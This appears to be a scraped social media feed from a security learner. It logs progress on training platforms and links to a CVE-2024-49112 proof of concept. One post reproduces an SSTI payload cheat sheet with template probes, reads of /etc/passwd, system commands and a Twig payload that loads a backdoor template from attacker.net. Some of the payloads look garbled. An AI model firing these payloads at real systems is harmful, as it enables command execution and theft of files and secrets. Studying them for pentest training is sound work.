pac0um_Sec

Hi everyone :) I try to progress everyday in #cyber. This page will be dedicated to my progress on #tryhackme #rootme #htb #pentesterlab #portswigger ☕️

can't access work training platform today ? #cloudflaredown

Just completed the rooms Vulnerabilities 101 and Nessus on #tryhackme :)

[DAY 2] Vulnerability scanning. 🧐 To have in mind, all types of vulnerability scan: impactmybiz.com/blog/different…

...... let's run this scan

will check how to perform a scan with nessus/openvas. 👁️ infosectrain.com/blog/vulnerabi…

[DAY 1] Network review. Tdy : build a lab. Mini company with LAN + DMZ + Services. 5 virtual machines. #networklab #networktrainnig #practice

need a refresh to have everything in mind oO

hi there :) back to x. i am going to review a few things a bit. A few weeks to review and learn things in vuln analysis #vulnerability #analysis #CVSS #CVE #exploit #scans #nessus

New AI-powered BApp just landed - AI HTTP Analyzer from @alpernae 🚀 AI HTTP Analyzer is our first community-written extension using the new Montoya AI API. #BurpAI #Extensibility

slowly doing a little homelab oO. first step : choosing the equipment

network night, let's recheck the basics ⤵️

@0xcris_prp yeahhh true !! We have to do a ctf together ^^

@pac0um_Sec after so long:)

heyy. after almost 2 months of break. I am back and motivated to level upppp :)) let’s rock 🎸 see x

LDAPNightmare : First Proof-of-Concept Exploit for CVE-2024-49112 : safebreach.com/blog/ldapnight… credits @oryair1999 @ShahakMo LdapNightmare : a PoC tool that tests a vulnerable Windows Server against CVE-2024-49112 : github.com/SafeBreach-Lab…

@0xRh4ps00dy how is ur training going ? :))

I just pwned Vintage in Hack The Box! hackthebox.com/achievement/ma… #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting

hi :)) i am beginning the GOAD ^^ let's do iiiit orange-cyberdefense.github.io/GOAD/

SSTI (Server Side Template Injection) - Payloads Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %> #{3*3} #{ 3 * 3 } [[3*3]] ${2*2} @(3*3) ${= 3*3} {{= 7*7}} ${{7*7}} #{7*7} [=7*7] {{ request }} {{self}} {{dump(app)}} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ []._class.base.subclasses_O }} {{['cat%20/etc/passwd']|filter('system')}} PHP {php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} Python {% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}}

A Guide on Active Directory by @M4yFly mayfly277.github.io/categories/ad/